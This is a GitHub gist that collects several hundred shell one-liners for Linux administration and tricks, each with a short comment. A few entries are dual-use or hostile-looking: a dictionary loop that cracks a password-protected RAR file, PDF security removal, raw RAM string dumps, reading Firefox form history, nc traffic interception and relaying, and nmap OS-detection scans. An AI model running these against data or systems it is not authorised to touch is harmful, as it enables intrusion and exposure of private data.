Skip to content

Instantly share code, notes, and snippets.

@Enissay
Forked from modem7/useful-one-liners.sh
Created November 13, 2022 16:52
Show Gist options
  • Save Enissay/cfd4e9200360f3169486205c137e21c2 to your computer and use it in GitHub Desktop.
Save Enissay/cfd4e9200360f3169486205c137e21c2 to your computer and use it in GitHub Desktop.
Useful one liners
# Run the last command as root
sudo !!
# Serve current directory tree at http://$HOSTNAME:8000/
python -m SimpleHTTPServer
# Save a file you edited in vim without the needed permissions
:w !sudo tee %
# change to the previous working directory
cd -
# Runs previous command but replacing
^foo^bar
# mtr, better than traceroute and ping combined
mtr google.com
# quickly backup or copy a file with bash
cp filename{,.bak}
# Rapidly invoke an editor to write a long, complex, or tricky command
ctrl-x e
# Copy ssh keys to user@host to enable password-less ssh logins.
$ssh-copy-id user@host
# Empty a file
> file.txt
# Execute a command without saving it in the history
<space>command
# Capture video of a linux desktop
ffmpeg -f x11grab -s wxga -r 25 -i :0.0 -sameq /tmp/out.mpg
# Salvage a borked terminal
reset
# start a tunnel from some machine's port 80 to your local post 2001
ssh -N -L2001:localhost:80 somemachine
# Execute a command at a given time
echo "ls -l" | at midnight
# Query Wikipedia via console over DNS
dig +short txt <keyword>.wp.dg.cx
# currently mounted filesystems in nice layout
mount | column -t
# Update twitter via curl
curl -u user:pass -d status="Tweeting from the shell" http://twitter.com/statuses/update.xml
# Place the argument of the most recent command on the shell
'ALT+.' or '<ESC> .'
# output your microphone to a remote computer's speaker
dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp
# Lists all listening ports together with the PID of the associated process
netstat -tlnp
# Mount a temporary ram partition
mount -t tmpfs tmpfs /mnt -o size=1024m
# Mount folder/filesystem through SSH
sshfs name@server:/path/to/folder /path/to/mount/point
# Runs previous command replacing foo by bar every time that foo appears
!!:gs/foo/bar
# Compare a remote file with a local file
ssh user@host cat /path/to/remotefile | diff /path/to/localfile -
# Quick access to the ascii table.
man ascii
# Download an entire website
wget --random-wait -r -p -e robots=off -U mozilla http://www.example.com
# Shutdown a Windows machine from Linux
net rpc shutdown -I ipAddressOfWindowsPC -U username%password
# List the size (in human readable form) of all sub folders from the current location
du -h --max-depth=1
# Get your external IP address
curl ifconfig.me
# A very simple and useful stopwatch
time read (ctrl-d to stop)
# Clear the terminal screen
ctrl-l
# Jump to a directory, execute a command and jump back to current dir
(cd /tmp && ls)
# Check your unread Gmail from the command line
curl -u username --silent "https://mail.google.com/mail/feed/atom" | perl -ne 'print "\t" if /<name>/; print "$2\n" if /<(title|name)>(.*)<\/\1>/;'
# SSH connection through host in the middle
ssh -t reachable_host ssh unreachable_host
# Display the top ten running processes - sorted by memory usage
ps aux | sort -nk +4 | tail
# Reboot machine when everything is hanging
<alt> + <print screen/sys rq> + <R> - <S> - <E> - <I> - <U> - <B>
# Simulate typing
echo "You can simulate on-screen typing just like in the movies" | pv -qL 10
# Watch Star Wars via telnet
telnet towel.blinkenlights.nl
# List of commands you use most often
history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head
# Set audible alarm when an IP address comes online
ping -i 60 -a IP_address
# Make 'less' behave like 'tail -f'.
less +F somelogfile
# diff two unsorted files without creating temporary files
diff <(sort file1) <(sort file2)
# type partial command, kill this command, check something you forgot, yank the command, resume typing.
<ctrl+u> [...] <ctrl+y>
# Close shell keeping all subprocess running
disown -a && exit
# Display a block of text with AWK
awk '/start_pattern/,/stop_pattern/' file.txt
# Watch Network Service Activity in Real-time
lsof -i
# Backticks are evil
echo "The date is: $(date +%D)"
# Sharing file through http 80 port
nc -v -l 80 < file.ext
# Matrix Style
tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]"
# Push your present working directory to a stack that you can pop later
pushd /tmp
# python smtp server
python -m smtpd -n -c DebuggingServer localhost:1025
# Create a script of the last executed command
echo "!!" > foo.sh
# Rip audio from a video file.
mplayer -ao pcm -vo null -vc dummy -dumpaudio -dumpfile <output-file> <input-file>
# Set CDPATH to ease navigation
CDPATH=:..:~:~/projects
# 32 bits or 64 bits?
getconf LONG_BIT
# Google Translate
translate(){ wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=$1&langpair=$2|${3:-en}" | sed 's/.*"translatedText":"\([^"]*\)".*}/\1\n/'; }
# A fun thing to do with ram is actually open it up and take a peek. This command will show you all the string (plain text) values in ram
sudo dd if=/dev/mem | cat | strings
# Extract tarball from internet without local saving
wget -qO - "http://www.tarball.com/tarball.gz" | tar zxvf -
# Show apps that use internet connection at the moment. (Multi-Language)
lsof -P -i -n
# Kills a process that is locking a file.
fuser -k filename
# Stream YouTube URL directly to mplayer.
i="8uyxVmdaJ-w";mplayer -fs $(curl -s "http://www.youtube.com/get_video_info?&video_id=$i" | echo -e $(sed 's/%/\\x/g;s/.*\(v[0-9]\.lscache.*\)/http:\/\/\1/g') | grep -oP '^[^|,]*')
# Display which distro is installed
cat /etc/issue
# Put a console clock in top right corner
while sleep 1;do tput sc;tput cup 0 $(($(tput cols)-29));date;tput rc;done &
# Reuse all parameter of the previous command line
!*
# Delete all files in a folder that don't match a certain file extension
rm !(*.foo|*.bar|*.baz)
# Inserts the results of an autocompletion in the command line
ESC *
# save command output to image
ifconfig | convert label:@- ip.png
# Remove duplicate entries in a file without sorting.
awk '!x[$0]++' <file>
# Add Password Protection to a file your editing in vim.
vim -x <FILENAME>
# Copy your SSH public key on a remote machine for passwordless login - the easy way
ssh-copy-id username@hostname
# Easily search running processes (alias).
alias 'ps?'='ps ax | grep '
# Insert the last command without the last argument (bash)
!:-
# Create a CD/DVD ISO image from disk.
readom dev=/dev/scd0 f=/path/to/image.iso
# Easy and fast access to often executed commands that are very long and complex.
some_very_long_and_complex_command # label
# Find the process you are looking for minus the grepped one
ps aux | grep [p]rocess-name
# Job Control
^Z $bg $disown
# Graphical tree of sub-directories
ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/'
# quickly rename a file
mv filename.{old,new}
# intercept stdout/stderr of another process
strace -ff -e trace=write -e write=1,2 -p SOME_PID
# Graph # of connections for each hosts.
netstat -an | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | awk '{ printf("%s\t%s\t",$2,$1) ; for (i = 0; i < $1; i++) {printf("*")}; print "" }'
# escape any command aliases
\[command]
# Monitor progress of a command
pv access.log | gzip > access.log.gz
# Display a cool clock on your terminal
watch -t -n1 "date +%T|figlet"
# Edit a file on a remote host using vim
vim scp://username@host//path/to/somefile
# Define a quick calculator function
? () { echo "$*" | bc -l; }
# Mount a .iso file in UNIX/Linux
mount /path/to/file.iso /mnt/cdrom -oloop
# Get the 10 biggest files/folders for the current direcotry
du -s * | sort -n | tail
# Remove all but one specific file
rm -f !(survivior.txt)
# Check your unread Gmail from the command line
curl -u username:password --silent "https://mail.google.com/mail/feed/atom" | tr -d '\n' | awk -F '<entry>' '{for (i=2; i<=NF; i++) {print $i}}' | sed -n "s/<title>\(.*\)<\/title.*name>\(.*\)<\/name>.*/\2 - \1/p"
# Send pop-up notifications on Gnome
notify-send ["<title>"] "<body>"
# Convert seconds to human-readable format
date -d@1234567890
# Generate a random password 30 characters long
strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 30 | tr -d '\n'; echo
# Print all the lines between 10 and 20 of a file
sed -n '10,20p' <filename>
# Show apps that use internet connection at the moment. (Multi-Language)
ss -p
# Record a screencast and convert it to an mpeg
ffmpeg -f x11grab -r 25 -s 800x600 -i :0.0 /tmp/outputFile.mpg
# Processor / memory bandwidthd? in GB/s
dd if=/dev/zero of=/dev/null bs=1M count=32768
# Open Finder from the current Terminal location
open .
# Make directory including intermediate directories
mkdir -p a/long/directory/path
# Run a command only when load average is below a certain threshold
echo "rm -rf /unwanted-but-large/folder" | batch
# Show File System Hierarchy
man hier
# Copy a file using pv and watch its progress
pv sourcefile > destfile
# Remove security limitations from PDF documents using ghostscript
gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=OUTPUT.pdf -c .setpdfwrite -f INPUT.pdf
# directly ssh to host B that is only accessible through host A
ssh -t hostA ssh hostB
# Share a terminal screen with others
% screen -r someuser/
# Create a persistent connection to a machine
ssh -MNf <user>@<host>
# Monitor the queries being run by MySQL
watch -n 1 mysqladmin --user=<user> --password=<password> processlist
# Multiple variable assignments from command output in BASH
read day month year <<< $(date +'%d %m %y')
# Binary Clock
watch -n 1 'echo "obase=2;`date +%s`" | bc'
# return external ip
curl icanhazip.com
# Backup all MySQL Databases to individual files
for I in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $I | gzip > "$I.sql.gz"; done
# Attach screen over ssh
ssh -t remote_host screen -r
# Create a pdf version of a manpage
man -t manpage | ps2pdf - filename.pdf
# Remove a line in a text file. Useful to fix
ssh-keygen -R <the_offending_host>
# Search commandlinefu.com from the command line using the API
cmdfu(){ curl "http://www.commandlinefu.com/commands/matching/$@/$(echo -n $@ | openssl base64)/plaintext"; }
# Download Youtube video with wget!
wget http://www.youtube.com/watch?v=dQw4w9WgXcQ -qO- | sed -n "/fmt_url_map/{s/[\'\"\|]/\n/g;p}" | sed -n '/^fmt_url_map/,/videoplayback/p' | sed -e :a -e '$q;N;5,$D;ba' | tr -d '\n' | sed -e 's/\(.*\),\(.\)\{1,3\}/\1/' | wget -i - -O surprise.flv
# RTFM function
rtfm() { help $@ || man $@ || $BROWSER "http://www.google.com/search?q=$@"; }
# What is my public IP-address?
curl ifconfig.me
# Run a file system check on your next boot.
sudo touch /forcefsck
# To print a specific line from a file
sed -n 5p <file>
# Find Duplicate Files (based on size first, then MD5 hash)
find -not -empty -type f -printf "%s\n" | sort -rn | uniq -d | xargs -I{} -n1 find -type f -size {}c -print0 | xargs -0 md5sum | sort | uniq -w32 --all-repeated=separate
# Bring the word under the cursor on the :ex line in Vim
:<C-R><C-W>
# Port Knocking!
knock <host> 3000 4000 5000 && ssh -p <port> user@host && knock <host> 5000 4000 3000
# Show a 4-way scrollable process tree with full details.
ps awwfux | less -S
# replace spaces in filenames with underscores
rename 'y/ /_/' *
# (Debian/Ubuntu) Discover what package a file belongs to
dpkg -S /usr/bin/ls
# Sort the size usage of a directory tree by gigabytes, kilobytes, megabytes, then bytes.
du -b --max-depth 1 | sort -nr | perl -pe 's{([0-9]+)}{sprintf "%.1f%s", $1>=2**30? ($1/2**30, "G"): $1>=2**20? ($1/2**20, "M"): $1>=2**10? ($1/2**10, "K"): ($1, "")}e'
# Block known dirty hosts from reaching your machine
wget -qO - http://infiltrated.net/blacklisted|awk '!/#|[a-z]/&&/./{print "iptables -A INPUT -s "$1" -j DROP"}'
# Download all images from a site
wget -r -l1 --no-parent -nH -nd -P/tmp -A".gif,.jpg" http://example.com/images
# Broadcast your shell thru ports 5000, 5001, 5002 ...
script -qf | tee >(nc -kl 5000) >(nc -kl 5001) >(nc -kl 5002)
# ls not pattern
ls !(*.gz)
# Edit a google doc with vim
google docs edit --title "To-Do List" --editor vim
# Show numerical values for each of the 256 colors in bash
for code in {0..255}; do echo -e "\e[38;05;${code}m $code: Test"; done
# Makes the permissions of file2 the same as file1
chmod --reference file1 file2
# A robust, modular log coloriser
ccze
# Remove all files previously extracted from a tar(.gz) file.
tar -tf <file.tar.gz> | xargs rm -r
# which program is this port belongs to ?
lsof -i tcp:80
# Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id
cat ~/.ssh/id_rsa.pub | ssh user@machine "mkdir ~/.ssh; cat >> ~/.ssh/authorized_keys"
# check site ssl certificate dates
echo | openssl s_client -connect www.google.com:443 2>/dev/null |openssl x509 -dates -noout
# Remove a line in a text file. Useful to fix "ssh host key change" warnings
sed -i 8d ~/.ssh/known_hosts
# List only the directories
ls -d */
# exit without saving history
kill -9 $$
# Eavesdrop on your system
diff <(lsof -p 1234) <(sleep 10; lsof -p 1234)
# Gets a random Futurama quote from /.
curl -Is slashdot.org | egrep '^X-(F|B|L)' | cut -d \- -f 2
# Remind yourself to leave in 15 minutes
leave +15
# Convert PDF to JPG
for file in `ls *.pdf`; do convert -verbose -colorspace RGB -resize 800 -interlace none -density 300 -quality 80 $file `echo $file | sed 's/\.pdf$/\.jpg/'`; done
# using `!#$' to reference backward-word
cp /work/host/phone/ui/main.cpp !#$:s/host/target
# Fast, built-in pipe-based data sink
<COMMAND> |:
# Use tee to process a pipe with two or more processes
echo "tee can split a pipe in two"|tee >(rev) >(tr ' ' '_')
# Exclude .svn, .git and other VCS junk for a pristine tarball
tar --exclude-vcs -cf src.tar src/
# Colorized grep in less
grep --color=always | less -R
# Manually Pause/Unpause Firefox Process with POSIX-Signals
killall -STOP -m firefox
# Search recursively to find a word or phrase in certain file types, such as C code
find . -name "*.[ch]" -exec grep -i -H "search pharse" {} \;
# Exclude multiple columns using AWK
awk '{$1=$3=""}1' file
# Synchronize date and time with a server over ssh
date --set="$(ssh user@server date)"
# Control ssh connection
[enter]~?
# Get the IP of the host your coming from when logged in remotely
echo ${SSH_CLIENT%% *}
# Take screenshot through SSH
DISPLAY=:0.0 import -window root /tmp/shot.png
# run complex remote shell cmds over ssh, without escaping quotes
ssh host -l user $(<cmd.txt)
# prints line numbers
nl
# Press Any Key to Continue
read -sn 1 -p "Press any key to continue..."
# Show apps that use internet connection at the moment.
lsof -P -i -n | cut -f 1 -d " "| uniq | tail -n +2
# Release memory used by the Linux kernel on caches
free && sync && echo 3 > /proc/sys/vm/drop_caches && free
# Create a nifty overview of the hardware in your computer
lshw -html > hardware.html
# Add timestamp to history
export HISTTIMEFORMAT="%F %T "
# find geographical location of an ip address
lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|grep address|egrep 'city|state|country'|awk '{print $3,$4,$5,$6,$7,$8}'|sed 's\ip address flag \\'|sed 's\My\\'
# read manpage of a unix command as pdf in preview (Os X)
man -t UNIX_COMMAND | open -f -a preview
# How to establish a remote Gnu screen session that you can re-connect to
ssh -t user@some.domain.com /usr/bin/screen -xRR
# Copy a MySQL Database to a new Server via SSH with one command
mysqldump --add-drop-table --extended-insert --force --log-error=error.log -uUSER -pPASS OLD_DB_NAME | ssh -C user@newhost "mysql -uUSER -pPASS NEW_DB_NAME"
# make directory tree
mkdir -p work/{d1,d2}/{src,bin,bak}
# Create a quick back-up copy of a file
cp file.txt{,.bak}
# Find out how much data is waiting to be written to disk
grep ^Dirty /proc/meminfo
# mkdir & cd into it as single command
mkdir /home/foo/doc/bar && cd $_
# Use file(1) to view device information
file -s /dev/sd*
# Bind a key with a command
bind -x '"\C-l":ls -l'
# Opens vi/vim at pattern in file
vi +/pattern [file]
# Colorful man
apt-get install most && update-alternatives --set pager /usr/bin/most
# live ssh network throughput test
yes | pv | ssh $host "cat > /dev/null"
# Pipe stdout and stderr, etc., to separate commands
some_command > >(/bin/cmd_for_stdout) 2> >(/bin/cmd_for_stderr)
# Remove blank lines from a file using grep and save output to new file
grep . filename > newfilename
# Go to parent directory of filename edited in last command
cd !$:h
# Draw a Sierpinski triangle
perl -e 'print "P1\n256 256\n", map {$_&($_>>8)?1:0} (0..0xffff)' | display
# Recursively change permissions on files, leave directories alone.
find ./ -type f -exec chmod 644 {} \;
# recursive search and replace old with new string, inside files
$ grep -rl oldstring . |xargs sed -i -e 's/oldstring/newstring/'
# shut of the screen.
xset dpms force standby
# Save your sessions in vim to resume later
:mksession! <filename>
# Intercept, monitor and manipulate a TCP connection.
mkfifo /tmp/fifo; cat /tmp/fifo | nc -l -p 1234 | tee -a to.log | nc machine port | tee -a from.log > /tmp/fifo
# Display a list of committers sorted by the frequency of commits
svn log -q|grep "|"|awk "{print \$3}"|sort|uniq -c|sort -nr
# Prettify an XML file
tidy -xml -i -m [file]
# List the number and type of active network connections
netstat -ant | awk '{print $NF}' | grep -v '[a-z]' | sort | uniq -c
# Google text-to-speech in mp3 format
wget -q -U Mozilla -O output.mp3 "http://translate.google.com/translate_tts?ie=UTF-8&tl=en&q=hello+world
# Bind a key with a command
bind '"\C-l":"ls -l\n"'
# Alias HEAD for automatic smart output
alias head='head -n $((${LINES:-`tput lines 2>/dev/null||echo -n 12`} - 2))'
# Create colorized html file from Vim or Vimdiff
:TOhtml
# Recursively remove all empty directories
find . -type d -empty -delete
# Listen to BBC Radio from the command line.
bbcradio() { local s PS3="Select a station: ";select s in 1 1x 2 3 4 5 6 7 "Asian Network an" "Nations & Local lcl";do break;done;s=($s);mplayer -playlist "http://www.bbc.co.uk/radio/listen/live/r"${s[@]: -1}".asx";}
# backup all your commandlinefu.com favourites to a plaintext file
clfavs(){ URL="http://www.commandlinefu.com";wget -O - --save-cookies c --post-data "username=$1&password=$2&submit=Let+me+in" $URL/users/signin;for i in `seq 0 25 $3`;do wget -O - --load-cookies c $URL/commands/favourites/plaintext/$i >>$4;done;rm -f c;}
# send echo to socket network
echo "foo" > /dev/tcp/192.168.1.2/25
# Cracking a password protected .rar file
for i in $(cat dict.txt);do unrar e -p$i protected.rar; if [ $? = 0 ];then echo "Passwd Found: $i";break;fi;done
# Use lynx to run repeating website actions
lynx -accept_all_cookies -cmd_script=/your/keystroke-file
# Create a single-use TCP (or UDP) proxy
nc -l -p 2000 -c "nc example.org 3000"
# runs a bash script in debugging mode
bash -x ./post_to_commandlinefu.sh
# GRUB2: set Super Mario as startup tune
echo "GRUB_INIT_TUNE=\"1000 334 1 334 1 0 1 334 1 0 1 261 1 334 1 0 1 392 2 0 4 196 2\"" | sudo tee -a /etc/default/grub > /dev/null && sudo update-grub
# A child process which survives the parent's death (for sure)
( command & )
# send a circular
wall <<< "Broadcast This"
# exclude a column with cut
cut -f5 --complement
# Random Number Between 1 And X
echo $[RANDOM%X+1]
# April Fools' Day Prank
PROMPT_COMMAND='if [ $RANDOM -le 3200 ]; then printf "\0337\033[%d;%dH\033[4%dm \033[m\0338" $((RANDOM%LINES+1)) $((RANDOM%COLUMNS+1)) $((RANDOM%8)); fi'
# copy working directory and compress it on-the-fly while showing progress
tar -cf - . | pv -s $(du -sb . | awk '{print $1}') | gzip > out.tgz
# Create an audio test CD of sine waves from 1 to 99 Hz
(echo CD_DA; for f in {01..99}; do echo "$f Hz">&2; sox -nt cdda -r44100 -c2 $f.cdda synth 30 sine $f; echo TRACK AUDIO; echo FILE \"$f.cdda\" 0; done) > cdrdao.toc && cdrdao write cdrdao.toc && rm ??.cdda cdrdao.toc
# Create a directory and change into it at the same time
md () { mkdir -p "$@" && cd "$@"; }
# Search for a <pattern> string inside all files in the current directory
grep -RnisI <pattern> *
# convert unixtime to human-readable
date -d @1234567890
# Show current working directory of a process
pwdx pid
# Diff on two variables
diff <(echo "$a") <(echo "$b")
# Compare two directory trees.
diff <(cd dir1 && find | sort) <(cd dir2 && find | sort)
# delete a line from your shell history
history -d
# Perform a branching conditional
true && { echo success;} || { echo failed; }
# Find files that have been modified on your system in the past 60 minutes
sudo find / -mmin 60 -type f
# Use tee + process substitution to split STDOUT to multiple commands
some_command | tee >(command1) >(command2) >(command3) ... | command4
# Speed up launch of firefox
find ~ -name '*.sqlite' -exec sqlite3 '{}' 'VACUUM;' \;
# find files in a date range
find . -type f -newermt "2010-01-01" ! -newermt "2010-06-01"
# Shell recorder with replay
script -t /tmp/mylog.out 2>/tmp/mylog.time; <do your work>; <CTRL-D>; scriptreplay /tmp/mylog.time /tmp/mylog.out
# Find usb device
diff <(lsusb) <(sleep 3s && lsusb)
# prevent accidents while using wildcards
rm *.txt <TAB> <TAB>
# The BOFH Excuse Server
telnet towel.blinkenlights.nl 666
# Recover a deleted file
grep -a -B 25 -A 100 'some string in the file' /dev/sda1 > results.txt
# Lists all listening ports together with the PID of the associated process
lsof -Pan -i tcp -i udp
# notify yourself when a long-running command which has ALREADY STARTED is finished
<ctrl+z> fg; notify_me
# easily find megabyte eating files or directories
alias dush="du -sm *|sort -n|tail"
# GREP a PDF file.
pdftotext [file] - | grep 'YourPattern'
# View the newest xkcd comic.
xkcd(){ wget -qO- http://xkcd.com/|tee >(feh $(grep -Po '(?<=")http://imgs[^/]+/comics/[^"]+\.\w{3}'))|grep -Po '(?<=(\w{3})" title=").*(?=" alt)';}
# Schedule a script or command in x num hours, silently run in the background even if logged out
( ( sleep 2h; your-command your-args ) & )
# throttle bandwidth with cstream
tar -cj /backup | cstream -t 777k | ssh host 'tar -xj -C /backup'
# List all files opened by a particular command
lsof -c dhcpd
# Brute force discover
sudo zcat /var/log/auth.log.*.gz | awk '/Failed password/&&!/for invalid user/{a[$9]++}/Failed password for invalid user/{a["*" $11]++}END{for (i in a) printf "%6s\t%s\n", a[i], i|"sort -n"}'
# convert uppercase files to lowercase files
rename 'y/A-Z/a-z/' *
# Instead of writing a multiline if/then/else/fi construct you can do that by one line
[[ test_condition ]] && if_true_do_this || otherwise_do_that
# Create a file server, listening in port 7000
while true; do nc -l 7000 | tar -xvf -; done
# Convert seconds into minutes and seconds
bc <<< 'obase=60;299'
# VI config to save files with +x when a shebang is found on line 1
au BufWritePost * if getline(1) =~ "^#!" | if getline(1) =~ "/bin/" | silent !chmod +x <afile> | endif | endif
# find all file larger than 500M
find / -type f -size +500M
# Diff remote webpages using wget
diff <(wget -q -O - URL1) <(wget -q -O - URL2)
# pretend to be busy in office to enjoy a cup of coffee
cat /dev/urandom | hexdump -C | grep "ca fe"
# processes per user counter
ps hax -o user | sort | uniq -c
# analyze traffic remotely over ssh w/ wireshark
ssh root@server.com 'tshark -f "port !22" -w -' | wireshark -k -i -
# perl one-liner to get the current week number
date +%V
# Monitor bandwidth by pid
nethogs -p eth0
# Recursively compare two directories and output their differences on a readable format
diff -urp /originaldirectory /modifieddirectory
# DELETE all those duplicate files but one based on md5 hash comparision in the current directory tree
find . -type f -print0|xargs -0 md5sum|sort|perl -ne 'chomp;$ph=$h;($h,$f)=split(/\s+/,$_,2);print "$f"."\x00" if ($h eq $ph)'|xargs -0 rm -v --
# List recorded formular fields of Firefox
cd ~/.mozilla/firefox/ && sqlite3 `cat profiles.ini | grep Path | awk -F= '{print $2}'`/formhistory.sqlite "select * from moz_formhistory" && cd - > /dev/null
# Nicely display permissions in octal format with filename
stat -c '%A %a %n' *
# Resume scp of a big file
rsync --partial --progress --rsh=ssh $file_source $user@$host:$destination_file
# Base conversions with bc
echo "obase=2; 27" | bc -l
# Start a command on only one CPU core
taskset -c 0 your_command
# Switch 2 characters on a command line.
ctrl-t
# Get info about remote host ports and OS detection
nmap -sS -P0 -sV -O <target>
# cat a bunch of small files with file indication
grep . *
# format txt as table not joining empty columns
column -tns: /etc/passwd
# Tell local Debian machine to install packages used by remote Debian machine
ssh remotehost 'dpkg --get-selections' | dpkg --set-selections && dselect install
# send a circular
echo "dear admin, please ban eribsskog" | wall
# Close a hanging ssh session
~.
# I finally found out how to use notify-send with at or cron
echo "export DISPLAY=:0; export XAUTHORITY=~/.Xauthority; notify-send test" | at now+1minute
# See udev at work
udevadm monitor
# Get your outgoing IP address
dig +short myip.opendns.com @resolver1.opendns.com
# your terminal sings
echo {1..199}" bottles of beer on the wall, cold bottle of beer, take one down, pass it around, one less bottle of beer on the wall,, " | espeak -v english -s 140
# Define words and phrases with google.
define(){ local y="$@";curl -sA"Opera" "http://www.google.com/search?q=define:${y// /+}"|grep -Po '(?<=<li>)[^<]+'|nl|perl -MHTML::Entities -pe 'decode_entities($_)' 2>/dev/null;}
# Insert the last argument of the previous command
<ESC> .
# Harder, Faster, Stronger SSH clients
ssh -4 -C -c blowfish-cbc
# Duplicate several drives concurrently
dd if=/dev/sda | tee >(dd of=/dev/sdb) | dd of=/dev/sdc
# Get your external IP address
curl ip.appspot.com
# Clean up poorly named TV shows.
rename -v 's/.*[s,S](\d{2}).*[e,E](\d{2}).*\.avi/SHOWNAME\ S$1E$2.avi/' poorly.named.file.s01e01.avi
# Find files that were modified by a given command
touch /tmp/file ; $EXECUTECOMMAND ; find /path -newer /tmp/file
# A fun thing to do with ram is actually open it up and take a peek. This command will show you all the string (plain text) values in ram
sudo strings /dev/mem
# Triple monitoring in screen
tmpfile=$(mktemp) && echo -e 'startup_message off\nscreen -t top htop\nsplit\nfocus\nscreen -t nethogs nethogs wlan0\nsplit\nfocus\nscreen -t iotop iotop' > $tmpfile && sudo screen -c $tmpfile
# Quickly (soft-)reboot skipping hardware checks
/sbin/kexec -l /boot/$KERNEL --append="$KERNELPARAMTERS" --initrd=/boot/$INITRD; sync; /sbin/kexec -e
# Save a HTML page, and convert it to a .pdf file
wget $URL | htmldoc --webpage -f "$URL".pdf - ; xpdf "$URL".pdf &
# Relocate a file or directory, but keep it accessible on the old location through a simlink.
mv $1 $2 && ln -s $2/$(basename $1) $(dirname $1)
# Run a long job and notify me when it's finished
./my-really-long-job.sh && notify-send "Job finished"
# Make anything more awesome
command | figlet
# Install a Firefox add-on/theme to all users
sudo firefox -install-global-extension /path/to/add-on
# Copy a file structure without files
find * -type d -exec mkdir /where/you/wantem/\{\} \;
# Analyse an Apache access log for the most common IP addresses
tail -10000 access_log | awk '{print $1}' | sort | uniq -c | sort -n | tail
# Share your terminal session real-time
mkfifo foo; script -f foo
# Generate an XKCD #936 style 4 word password
shuf -n4 /usr/share/dict/words | tr -d '\n'
# Find all the links to a file
find -L / -samefile /path/to/file -exec ls -ld {} +
# Recover tmp flash videos (deleted immediately by the browser plugin)
for h in `find /proc/*/fd -ilname "/tmp/Flash*" 2>/dev/null`; do ln -s "$h" `readlink "$h" | cut -d' ' -f1`; done
# stderr in color
mycommand 2> >(while read line; do echo -e "\e[01;31m$line\e[0m"; done)
# Stop Flash from tracking everything you do.
for i in ~/.adobe ~/.macromedia ; do ( rm $i/ -rf ; ln -s /dev/null $i ) ; done
# Create a single PDF from multiple images with ImageMagick
convert *.jpg output.pdf
# List files with quotes around each filename
ls -Q
# List alive hosts in specific subnet
nmap -sP 192.168.1.0/24
# Delete all empty lines from a file with vim
:g/^$/d
# Makes you look busy
alias busy='my_file=$(find /usr/include -type f | sort -R | head -n 1); my_len=$(wc -l $my_file | awk "{print $1}"); let "r = $RANDOM % $my_len" 2>/dev/null; vim +$r $my_file'
# Remote screenshot
DISPLAY=":0.0" import -window root screenshot.png
# Execute a command with a timeout
timeout 10 sleep 11
# Backup all MySQL Databases to individual files
for db in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $db | gzip > "/backups/mysqldump-$(hostname)-$db-$(date +%Y-%m-%d-%H.%M.%S).gz"; done
# Cleanup firefox's database.
find ~/.mozilla/firefox/ -type f -name "*.sqlite" -exec sqlite3 {} VACUUM \;
# check open ports
lsof -Pni4 | grep LISTEN
# Have an ssh session open forever
autossh -M50000 -t server.example.com 'screen -raAd mysession'
# Create a system overview dashboard on F12 key
bind '"\e[24~"':"\"ps -elF;df -h;free -mt;netstat -lnpt;who -a\C-m"""
# coloured tail
tail -f FILE | perl -pe 's/KEYWORD/\e[1;31;43m$&\e[0m/g'
# Search for commands from the command line
clfu-search <search words>
# Quickly graph a list of numbers
gnuplot -persist <(echo "plot '<(sort -n listOfNumbers.txt)' with lines")
# a short counter
yes '' | cat -n
# How to run X without any graphics hardware
startx -- `which Xvfb` :1 -screen 0 800x600x24 && DISPLAY=:1 x11vnc
# Rsync remote data as root using sudo
rsync --rsync-path 'sudo rsync' username@source:/folder/ /local/
# ls -hog --> a more compact ls -l
ls -hog
# Put readline into vi mode
set -o vi
# Delete all empty lines from a file with vim
:g!/\S/d
# Get all the keyboard shortcuts in screen
^A ?
# Copy stdin to your X11 buffer
ssh user@host cat /path/to/some/file | xclip
# List of commands you use most often
history | awk '{print $2}' | sort | uniq -c | sort -rn | head
# Start a new command in a new screen window
alias s='screen -X screen'; s top; s vi; s man ls;
# bypass any aliases and functions for the command
\foo
# All IP connected to my host
netstat -lantp | grep ESTABLISHED |awk '{print $5}' | awk -F: '{print $1}' | sort -u
# Repoint an existing symlink to a new location
ln -nsf <TARGET> <LINK>
# df without line wrap on long FS name
df -P | column -t
# Watch RX/TX rate of an interface in kb/s
while [ /bin/true ]; do OLD=$NEW; NEW=`cat /proc/net/dev | grep eth0 | tr -s ' ' | cut -d' ' -f "3 11"`; echo $NEW $OLD | awk '{printf("\rin: % 9.2g\t\tout: % 9.2g", ($1-$3)/1024, ($2-$4)/1024)}'; sleep 1; done
# rsync instead of scp
rsync --progress --partial --rsh="ssh -p 8322" --bwlimit=100 --ipv4 user@domain.com:~/file.tgz .
# Download a file and uncompress it while it downloads
wget http://URL/FILE.tar.gz -O - | tar xfz -
# Single use vnc-over-ssh connection
ssh -f -L 5900:localhost:5900 your.ssh.server "x11vnc -safer -localhost -nopw -once -display :0"; vinagre localhost:5900
# Visit wikileaks.com
echo 213.251.145.96 wikileaks.com >>/etc/hosts
# List all open ports and their owning executables
lsof -i -P | grep -i "listen"
# use the previous commands params in the current command
!!:[position]
# View network activity of any application or user in realtime
lsof -r 2 -p PID -i -a
# Convert text to picture
echo -e "Some Text Line1\nSome Text Line 2" | convert -background none -density 196 -resample 72 -unsharp 0x.5 -font "Courier" text:- -trim +repage -bordercolor white -border 3 text.gif
# download and unpack tarball without leaving it sitting on your hard drive
wget -qO - http://example.com/path/to/blah.tar.gz | tar xzf -
# Colored diff ( via vim ) on 2 remotes files on your local computer.
vimdiff scp://root@server-foo.com//etc/snmp/snmpd.conf scp://root@server-bar.com//etc/snmp/snmpd.conf
# Pretty Print a simple csv in the command line
column -s, -t <tmp.csv
# git remove files which have been deleted
git add -u
# redirect stdout and stderr each to separate files and print both to the screen
(some_command 2>&1 1>&3 | tee /path/to/errorlog ) 3>&1 1>&2 | tee /path/to/stdoutlog
# Terminal - Show directories in the PATH, one per line with sed and bash3.X `he
re string'tr : '\n' <<<$PATH
